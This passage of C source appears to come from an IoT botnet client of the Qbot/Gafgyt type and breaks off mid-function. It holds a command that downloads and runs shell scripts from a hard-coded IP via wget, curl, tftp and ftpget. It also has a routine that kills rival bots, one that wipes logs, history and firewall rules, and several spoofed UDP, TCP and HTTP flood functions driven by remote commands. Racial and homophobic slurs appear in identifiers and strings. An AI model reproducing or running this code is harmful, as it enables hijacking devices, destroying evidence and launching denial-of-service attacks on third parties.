  1811. system("cd /tmp; wget http://212.237.21.222/bins.sh; curl -O http://212.237.21.222/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 212.237.21.222 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 212.237.21.222; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 212.237.21.222 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n");
  1812. return;
  1813. }
  1814. sleep(5);
  1815. }
  1816. //botkill
  1817. void botkiller(){
  1818. char* Niggerdirs[] = {"/dev/netslink/", "/tmp/", "/var/", "/dev/", "/var/run/", "/dev/shm/", "/mnt/", "/boot/", "/usr/", (char*) 0};//wtf are we doing here well these are the directory
  1819. char* Boats[] = {"wget", "armv*", "bot*", "ntpd*", "hackz*", "shitty*","jack*", "mips*", "sex*", "i86", "ssh*", "sh4*", "jackmeoff*", "tftp*", "i56", "mips", "mipsel", "sh4", "x86", "i686", "ppc", "i586", "i586"};
  1820. const char *bots[] = {"jackmy*", "busybox*", "bin*", "sex*", "tftp*", "arm*", "mipsel*", "mips*", "mips64*", "i686*","sparc*", "sh4*", "bot*", "jackmeoff*", "hackz*", "bruv*"};
  1821. char hacker[80];
  1822. char botkill[80];
  1823. char buf[128];
  1824. int i, num_tmps, j;
  1825. for(j = 0; j < num_tmps; j++)
  1826. {
  1827. memset(buf, 0, 128);
  1828. if(j == 0)
  1829. snprintf(buf, 127, ">%s.t && cd %s && for a in `ls -a %s`; do >$a; done; >retrieve ;echo ps aux >> proc ; pkill -9 %d\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], Niggerdirs[j], bots[j]);
  1830. else
  1831. snprintf(buf, 127, ">%s.t && cd %s ; >retrieve\r\n", Niggerdirs[j], Niggerdirs[j], Niggerdirs[j]);
  1832. system(buf);
  1833. sprintf(botkill, "pkill -9 %s\r\n", bots[j]);
  1834. system(botkill);
  1835. return;
  1836. }
  1837. sleep(5);
  1838. }
  1839. //Cleaning Device
  1840. void RemoveTMP() {
  1841. system("rm -rf /tmp/* /var/* /var/run/* /var/tmp/*");
  1842. system("rm -rf /var/log/wtmp");
  1843. system("history -c;history -w");
  1844. system("rm -rf /var/log/wtmp");
  1845. system("rm -rf /tmp/*");
  1846. system("history -c");
  1847. system("rm -rf ~/.bash_history");
  1848. system("rm -rf /bin/netstat");
  1849. system("history -w");
  1850. system("pkill -9 busybox");
  1851. system("pkill -9 perl");
  1852. system("service iptables stop");
  1853. system("/sbin/iptables -F;/sbin/iptables -X");
  1854. }
  1855. int socket_connect(char *host, in_port_t port) {
  1856. struct hostent *hp;
  1857. struct sockaddr_in addr;
  1858. int on = 1, sock;
  1859. if ((hp = gethostbyname(host)) == NULL) return 0;
  1860. bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
  1861. addr.sin_port = htons(port);
  1862. addr.sin_family = AF_INET;
  1863. sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  1864. setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
  1865. if (sock == -1) return 0;
  1866. if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1)
  1867. return 0;
  1868. return sock;
  1869. }
  1870. void sendHTTP(void *host, char *method, in_port_t port, char *path, int timeFoo, int power) {
  1871. const char *useragents[] = {
  1872. "Mozilla/5.0 (compatible; Konqueror/3.0; i686 Linux; 20021117)",
  1873. "Mozilla/5.0 (Windows NT 6.1; WOW64) SkypeUriPreview Preview/0.5",
  1874. "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
  1875. "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0",
  1876. "Opera/6.04 (Windows XP; U) [en]",
  1877. "Opera/9.99 (X11; U; sk)",
  1878. "Mozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5",
  1879. "Mozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc",
  1880. "Mozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk",
  1881. "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
  1882. "Mozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)",
  1883. "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15"
  1884. "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
  1885. "Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1",
  1886. "Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)",
  1887. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en; rv:1.8.1.11) Gecko/20071128 Camino/1.5.4",
  1888. "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201",
  1889. "Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911",
  1890. "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs; rv:1.9.2.6) Gecko/20100628 myibrow/4alpha2",
  1891. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; MyIE2; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0)",
  1892. "Mozilla/5.0 (Windows; U; Win 9x 4.90; SG; rv:1.9.2.4) Gecko/20101104 Netscape/9.1.0285",
  1893. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7",
  1894. "Mozilla/5.0 (PLAYSTATION 3; 3.55)",
  1895. "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Thunderbird/38.2.0 Lightning/4.0.2",
  1896. "wii libnup/1.0",
  1897. "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
  1898. "PSP (PlayStation Portable); 2.00",
  1899. "Bunjalloo/0.7.6(Nintendo DS;U;en)",
  1900. "Doris/1.15 [en] (Symbian)",
  1901. "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
  1902. "BlackBerry9700/5.0.0.743 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/100"
  1903. "findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1904. "findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1905. "findlinks/1.1.6-beta4 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1906. "findlinks/1.1.6-beta1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1907. "findlinks/1.1.5-beta7 (+http://wortschatz.uni-leipzig.de/findlinks/)",
  1908. "Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
  1909. "Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable",
  1910. "Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2 (Debian-1.99+2.0b2+dfsg-1)",
  1911. "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2",
  1912. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060826 BonEcho/2.0b2",
  1913. "Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b2) Gecko/20060831 BonEcho/2.0b2",
  1914. "Mozilla/5.0 (X11; U; Linux x86_64; en-GB; rv:1.8.1b1) Gecko/20060601 BonEcho/2.0b1 (Ubuntu-edgy)",
  1915. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a3) Gecko/20060526 BonEcho/2.0a3",
  1916. "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1917. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1918. "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2",
  1919. "AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)",
  1920. "AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace)"
  1921. "AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy)",
  1922. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs)",
  1923. "AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k)",
  1924. "AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan)",
  1925. "AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr)",
  1926. "AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication)",
  1927. "AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout)",
  1928. "AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23)",
  1929. "AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver)",
  1930. "AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k)",
  1931. "magpie-crawler/1.1 (U; Linux amd64; en-GB; +http://www.brandwatch.net)",
  1932. "Mozilla/5.0 (compatible; MJ12bot/v1.2.4; http://www.majestic12.co.uk/bot.php?+)",
  1933. "Mozilla/5.0 (compatible; MJ12bot/v1.2.3; http://www.majestic12.co.uk/bot.php?+)",
  1934. "MJ12bot/v1.0.8 (http://majestic12.co.uk/bot.php?+)",
  1935. "MJ12bot/v1.0.7 (http://majestic12.co.uk/bot.php?+)",
  1936. "Mozilla/5.0 (compatible; MojeekBot/2.0; http://www.mojeek.com/bot.html)"
  1937. };
  1938. const char *connections[] = {"close", "keep-alive", "accept"};
  1939. int i, timeEnd = time(NULL) + timeFoo;
  1940. char request[512];
  1941. sprintf(request, "%s %s HTTP/1.1\r\nConnection: %s\r\nAccept: */*\r\nUser-Agent: %s\r\n", method, path, connections[(rand() % 3)], useragents[(rand() % 65)]);
  1942. for (i = 0; i < power; i++) {
  1943. if (fork()) {
  1944. while (timeEnd > time(NULL)) {
  1945. int socket = socket_connect((char *)host, port);
  1946. if (socket != 0) {
  1947. write(socket, request, strlen(request));
  1948. close(socket);
  1949. }
  1950. }
  1951. _exit(1);
  1952. }
  1953. }
  1954. }
  1955. void sendSTD(unsigned char *ip, int port, int secs) {
  1956. int iSTD_Sock;
  1957. iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
  1958. time_t start = time(NULL);
  1959. struct sockaddr_in sin;
  1960. struct hostent *hp;
  1961. hp = gethostbyname(ip);
  1962. bzero((char*) &sin,sizeof(sin));
  1963. bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
  1964. sin.sin_family = hp->h_addrtype;
  1965. sin.sin_port = port;
  1966. unsigned int a = 0;
  1967. while(1){
  1968. char *randstrings[] = {"arfgG", "HBiug655", "KJYDFyljf754", "LIKUGilkut769458905", "JHFDSkgfc5747694", "GJjyur67458", "RYSDk747586", "HKJGi5r8675", "KHGK7985i", "yuituiILYF", "GKJDghfcjkgd4", "uygtfgtrevf", "tyeuhygbtfvg", "ewqdcftr", "trbazetghhnbrty", "tbhrwsehbg", "twehgbferhb", "etrbhhgetrb", "edfverthbyrtb", "kmiujmnhnhfgn", "zcdbvgdfsbgfd", "gdfbtsdgb", "ghdugffytsdyt", "tgerthgwtrwry", "yteytietyue", "qsortEQS", "8969876hjkghblk", "std", "dts", "hackz", "shdyed", "http", "sghwiondc", "nigger", "pussy", "faggot"};
  1969. char *STD2_STRING = randstrings[rand() % (sizeof(randstrings) / sizeof(char *))];
  1970. if (a >= 50)
  1971. {
  1972. send(iSTD_Sock, STD2_STRING, STD2_SIZE, 0);
  1973. connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
  1974. if (time(NULL) >= start + secs)
  1975. {
  1976. close(iSTD_Sock);
  1977. _exit(0);
  1978. }
  1979. a = 0;
  1980. }
  1981. a++;
  1982. }
  1983. }
  1984. void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
  1985. {
  1986. struct sockaddr_in dest_addr;
  1987. dest_addr.sin_family = AF_INET;
  1988. if(port == 0) dest_addr.sin_port = rand_cmwc();
  1989. else dest_addr.sin_port = htons(port);
  1990. if(getHost(target, &dest_addr.sin_addr)) return;
  1991. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  1992. register unsigned int pollRegister;
  1993. pollRegister = pollinterval;
  1994. if(spoofit == 32)
  1995. {
  1996. int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  1997. if(!sockfd)
  1998. {
  1999. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2000. return;
  2001. }
  2002. unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
  2003. if(buf == NULL) return;
  2004. memset(buf, 0, packetsize + 1);
  2005. makeRandomStr(buf, packetsize);
  2006. int end = time(NULL) + timeEnd;
  2007. register unsigned int i = 0;
  2008. while(1)
  2009. {
  2010. sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2011. if(i == pollRegister)
  2012. {
  2013. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2014. if(time(NULL) > end) break;
  2015. i = 0;
  2016. continue;
  2017. }
  2018. i++;
  2019. }
  2020. } else {
  2021. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  2022. if(!sockfd)
  2023. {
  2024. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2025. return;
  2026. }
  2027. int tmp = 1;
  2028. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2029. {
  2030. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2031. return;
  2032. }
  2033. int counter = 50;
  2034. while(counter--)
  2035. {
  2036. srand(time(NULL) ^ rand_cmwc());
  2037. init_rand(rand());
  2038. }
  2039. in_addr_t netmask;
  2040. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2041. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2042. unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
  2043. struct iphdr *iph = (struct iphdr *)packet;
  2044. struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
  2045. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
  2046. udph->len = htons(sizeof(struct udphdr) + packetsize);
  2047. udph->source = rand_cmwc();
  2048. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2049. udph->check = 0;
  2050. makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
  2051. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2052. int end = time(NULL) + timeEnd;
  2053. register unsigned int i = 0;
  2054. while(1)
  2055. {
  2056. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2057. udph->source = rand_cmwc();
  2058. udph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2059. iph->id = rand_cmwc();
  2060. iph->saddr = htonl( HackerScan2(netmask) );
  2061. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2062. if(i == pollRegister)
  2063. {
  2064. if(time(NULL) > end) break;
  2065. i = 0;
  2066. continue;
  2067. }
  2068. i++;
  2069. }
  2070. }
  2071. }
  2072. void sendCNC(unsigned char *ip,int port, int end_time)
  2073. {
  2074. int end = time(NULL) + end_time;
  2075. int sockfd;
  2076. struct sockaddr_in server;
  2077. server.sin_addr.s_addr = inet_addr(ip);
  2078. server.sin_family = AF_INET;
  2079. server.sin_port = htons(port);
  2080. while(end > time(NULL))
  2081. {
  2082. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  2083. connect(sockfd , (struct sockaddr *)&server , sizeof(server));
  2084. sleep(1);
  2085. close(sockfd);
  2086. }
  2087. }
  2088. void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
  2089. {
  2090. register unsigned int pollRegister;
  2091. pollRegister = pollinterval;
  2092. struct sockaddr_in dest_addr;
  2093. dest_addr.sin_family = AF_INET;
  2094. if(port == 0) dest_addr.sin_port = rand_cmwc();
  2095. else dest_addr.sin_port = htons(port);
  2096. if(getHost(target, &dest_addr.sin_addr)) return;
  2097. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2098. int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
  2099. if(!sockfd)
  2100. {
  2101. HackerPrint(D1ckSucka, "Failed opening raw socket.");
  2102. return;
  2103. }
  2104. int tmp = 1;
  2105. if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
  2106. {
  2107. HackerPrint(D1ckSucka, "Failed setting raw headers mode.");
  2108. return;
  2109. }
  2110. in_addr_t netmask;
  2111. if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
  2112. else netmask = ( ~((1 << (32 - spoofit)) - 1) );
  2113. unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
  2114. struct iphdr *iph = (struct iphdr *)packet;
  2115. struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  2116. makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( HackerScan2(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
  2117. tcph->source = rand_cmwc();
  2118. tcph->seq = rand_cmwc();
  2119. tcph->ack_seq = 0;
  2120. tcph->doff = 5;
  2121. if(!strcmp(flags, "all"))
  2122. {
  2123. tcph->syn = 1;
  2124. tcph->rst = 1;
  2125. tcph->fin = 1;
  2126. tcph->ack = 1;
  2127. tcph->psh = 1;
  2128. } else {
  2129. unsigned char *pch = strtok(flags, ",");
  2130. while(pch)
  2131. {
  2132. if(!strcmp(pch, "syn"))
  2133. {
  2134. tcph->syn = 1;
  2135. } else if(!strcmp(pch, "rst"))
  2136. {
  2137. tcph->rst = 1;
  2138. } else if(!strcmp(pch, "fin"))
  2139. {
  2140. tcph->fin = 1;
  2141. } else if(!strcmp(pch, "ack"))
  2142. {
  2143. tcph->ack = 1;
  2144. } else if(!strcmp(pch, "psh"))
  2145. {
  2146. tcph->psh = 1;
  2147. } else {
  2148. HackerPrint(D1ckSucka, "Invalid flag \"%s\"", pch);
  2149. }
  2150. pch = strtok(NULL, ",");
  2151. }
  2152. }
  2153. tcph->window = rand_cmwc();
  2154. tcph->check = 0;
  2155. tcph->urg_ptr = 0;
  2156. tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
  2157. tcph->check = tcpcsum(iph, tcph);
  2158. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2159. int end = time(NULL) + timeEnd;
  2160. register unsigned int i = 0;
  2161. while(1)
  2162. {
  2163. sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  2164. iph->saddr = htonl( HackerScan2(netmask) );
  2165. iph->id = rand_cmwc();
  2166. tcph->seq = rand_cmwc();
  2167. tcph->source = rand_cmwc();
  2168. tcph->check = 0;
  2169. tcph->check = tcpcsum(iph, tcph);
  2170. iph->check = csum ((unsigned short *) packet, iph->tot_len);
  2171. if(i == pollRegister)
  2172. {
  2173. if(time(NULL) > end) break;
  2174. i = 0;
  2175. continue;
  2176. }
  2177. i++;
  2178. }
  2179. }
  2180. void sendJUNK(unsigned char *ip, int port, int end_time)
  2181. {
  2182. int max = getdtablesize() / 2, i;
  2183. struct sockaddr_in dest_addr;
  2184. dest_addr.sin_family = AF_INET;
  2185. dest_addr.sin_port = htons(port);
  2186. if(getHost(ip, &dest_addr.sin_addr)) return;
  2187. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2188. struct state_t
  2189. {
  2190. int fd;
  2191. uint8_t state;
  2192. } fds[max];
  2193. memset(fds, 0, max * (sizeof(int) + 1));
  2194. fd_set myset;
  2195. struct timeval tv;
  2196. socklen_t lon;
  2197. int valopt, res;
  2198. unsigned char *watwat = malloc(1024);
  2199. memset(watwat, 0, 1024);
  2200. int end = time(NULL) + end_time;
  2201. while(end > time(NULL))
  2202. {
  2203. for(i = 0; i < max; i++)
  2204. {
  2205. switch(fds[i].state)
  2206. {
  2207. case 0:
  2208. {
  2209. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2210. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2211. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2212. else fds[i].state = 1;
  2213. }
  2214. break;
  2215. case 1:
  2216. {
  2217. FD_ZERO(&myset);
  2218. FD_SET(fds[i].fd, &myset);
  2219. tv.tv_sec = 0;
  2220. tv.tv_usec = 10000;
  2221. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2222. if(res == 1)
  2223. {
  2224. lon = sizeof(int);
  2225. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2226. if(valopt)
  2227. {
  2228. close(fds[i].fd);
  2229. fds[i].state = 0;
  2230. } else {
  2231. fds[i].state = 2;
  2232. }
  2233. } else if(res == -1)
  2234. {
  2235. close(fds[i].fd);
  2236. fds[i].state = 0;
  2237. }
  2238. }
  2239. break;
  2240. case 2:
  2241. {
  2242. makeRandomStr(watwat, 1024);
  2243. if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
  2244. {
  2245. close(fds[i].fd);
  2246. fds[i].state = 0;
  2247. }
  2248. }
  2249. break;
  2250. }
  2251. }
  2252. }
  2253. }
  2254. void sendHOLD(unsigned char *ip, int port, int end_time)
  2255. {
  2256. int max = getdtablesize() / 2, i;
  2257. struct sockaddr_in dest_addr;
  2258. dest_addr.sin_family = AF_INET;
  2259. dest_addr.sin_port = htons(port);
  2260. if(getHost(ip, &dest_addr.sin_addr)) return;
  2261. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  2262. struct state_t
  2263. {
  2264. int fd;
  2265. uint8_t state;
  2266. } fds[max];
  2267. memset(fds, 0, max * (sizeof(int) + 1));
  2268. fd_set myset;
  2269. struct timeval tv;
  2270. socklen_t lon;
  2271. int valopt, res;
  2272. unsigned char *watwat = malloc(1024);
  2273. memset(watwat, 0, 1024);
  2274. int end = time(NULL) + end_time;
  2275. while(end > time(NULL))
  2276. {
  2277. for(i = 0; i < max; i++)
  2278. {
  2279. switch(fds[i].state)
  2280. {
  2281. case 0:
  2282. {
  2283. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  2284. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  2285. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
  2286. else fds[i].state = 1;
  2287. }
  2288. break;
  2289. case 1:
  2290. {
  2291. FD_ZERO(&myset);
  2292. FD_SET(fds[i].fd, &myset);
  2293. tv.tv_sec = 0;
  2294. tv.tv_usec = 10000;
  2295. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  2296. if(res == 1)
  2297. {
  2298. lon = sizeof(int);
  2299. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  2300. if(valopt)
  2301. {
  2302. close(fds[i].fd);
  2303. fds[i].state = 0;
  2304. } else {
  2305. fds[i].state = 2;
  2306. }
  2307. } else if(res == -1)
  2308. {
  2309. close(fds[i].fd);
  2310. fds[i].state = 0;
  2311. }
  2312. }
  2313. break;
  2314. case 2:
  2315. {
  2316. FD_ZERO(&myset);
  2317. FD_SET(fds[i].fd, &myset);
  2318. tv.tv_sec = 0;
  2319. tv.tv_usec = 10000;
  2320. res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
  2321. if(res != 0)
  2322. {
  2323. close(fds[i].fd);
  2324. fds[i].state = 0;
  2325. }
  2326. }
  2327. break;
  2328. }
  2329. }
  2330. }
  2331. }
  2332. void processCmd(int argc, unsigned char *argv[])
  2333. {
  2334. int x;
  2335. if(!strcmp(argv[0], "PING"))
  2336. {
  2337. HackerPrint(D1ckSucka, "PONG!");
  2338. return;
  2339. }
  2340. if(!strcmp(argv[0], "GETLOCALIP"))
  2341. {
  2342. HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
  2343. return;
  2344. }
  2345. if(!strcmp(argv[0], "BOTKILL"))
  2346. {
  2347. if(!listFork())
  2348. {
  2349. HackerPrint(D1ckSucka, "Killing Bots");
  2350. botkiller();
  2351. RemoveTMP();
  2352. _exit(0);
  2353. }
  2354. }
  2355. if(!strcmp(argv[0], "LOOPME"))
  2356. {
  2357. if(!listFork())
  2358. {
  2359. HackerPrint(D1ckSucka, "LOOPING PAYLOAD");
  2360. LoopPayload();
  2361. _exit(0);
  2362. }
  2363. }
  2364. if(!strcmp(argv[0], "TELNET"))
  2365. {
  2366. if(argc != 2)
  2367. {
  2368. HackerPrint(D1ckSucka, "TELNET ON | OFF");
  2369. return;
  2370. }
  2371. if(!strcmp(argv[1], "OFF"))
  2372. {
  2373. if(scanPid == 0) return;
  2374. kill(scanPid, 9);
  2375. HackerPrint(D1ckSucka, " OFF");
  2376. scanPid = 0;
  2377. }
  2378. if(!strcmp(argv[1], "ON"))
  2379. {
  2380. if(scanPid != 0) return;
  2381. uint32_t parent;
  2382. parent = fork();
  2383. if (parent > 0) { scanPid = parent; return;}
  2384. else if(parent == -1) return;
  2385. StartTheLelz();
  2386. _exit(0);
  2387. }
  2388. }
  2389.  
  2390. if(!strcmp(argv[0], "NETIS"))
  2391. {
  2392. if(argc != 2)
  2393. {
  2394. return;
  2395. }
  2396. if(!strcmp(argv[1], "ON"))
  2397. {
  2398. HackerPrint(D1ckSucka, "[NETIS] SCANNER Starting");
  2399. StartTheNetis();
  2400. _exit(0);
  2401. }
  2402. }
  2403.  
  2404. if(!strcmp(argv[0], "HOLD"))
  2405. {
  2406. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2407. {
  2408. return;
  2409. }
  2410. unsigned char *ip = argv[1];
  2411. int port = atoi(argv[2]);
  2412. int time = atoi(argv[3]);
  2413. if(strstr(ip, ",") != NULL)
  2414. {
  2415. unsigned char *hi = strtok(ip, ",");
  2416. while(hi != NULL)
  2417. {
  2418. if(!listFork())
  2419. {
  2420. sendHOLD(hi, port, time);
  2421. _exit(0);
  2422. }
  2423. hi = strtok(NULL, ",");
  2424. }
  2425. } else {
  2426. if (listFork()) { return; }
  2427. sendHOLD(ip, port, time);
  2428. _exit(0);
  2429. }
  2430. }
  2431. if(!strcmp(argv[0], "JUNK"))
  2432. {
  2433. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2434. {
  2435. return;
  2436. }
  2437. unsigned char *ip = argv[1];
  2438. int port = atoi(argv[2]);
  2439. int time = atoi(argv[3]);
  2440. if(strstr(ip, ",") != NULL)
  2441. {
  2442. unsigned char *hi = strtok(ip, ",");
  2443. while(hi != NULL)
  2444. {
  2445. if(!listFork())
  2446. {
  2447. sendJUNK(hi, port, time);
  2448. close(D1ckSucka);
  2449. _exit(0);
  2450. }
  2451. hi = strtok(NULL, ",");
  2452. }
  2453. } else {
  2454. if (listFork()) { return; }
  2455. sendJUNK(ip, port, time);
  2456. _exit(0);
  2457. }
  2458. }
  2459. if(!strcmp(argv[0], "UDP"))
  2460. {
  2461. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  2462. {
  2463. return;
  2464. }
  2465. unsigned char *ip = argv[1];
  2466. int port = atoi(argv[2]);
  2467. int time = atoi(argv[3]);
  2468. int spoofed = atoi(argv[4]);
  2469. int packetsize = atoi(argv[5]);
  2470. int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  2471. if(strstr(ip, ",") != NULL)
  2472. {
  2473. unsigned char *hi = strtok(ip, ",");
  2474. while(hi != NULL)
  2475. {
  2476. if(!listFork())
  2477. {
  2478. sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  2479. _exit(0);
  2480. }
  2481. hi = strtok(NULL, ",");
  2482. }
  2483. } else {
  2484. if (listFork()) { return; }
  2485. sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  2486. _exit(0);
  2487. }
  2488. }
  2489. if (!strcmp((const char *)argv[0], "HTTP")) {
  2490. if (argc < 6)
  2491. {
  2492. return;
  2493. }
  2494. if (strstr((const char *)argv[1], ",") != NULL) {
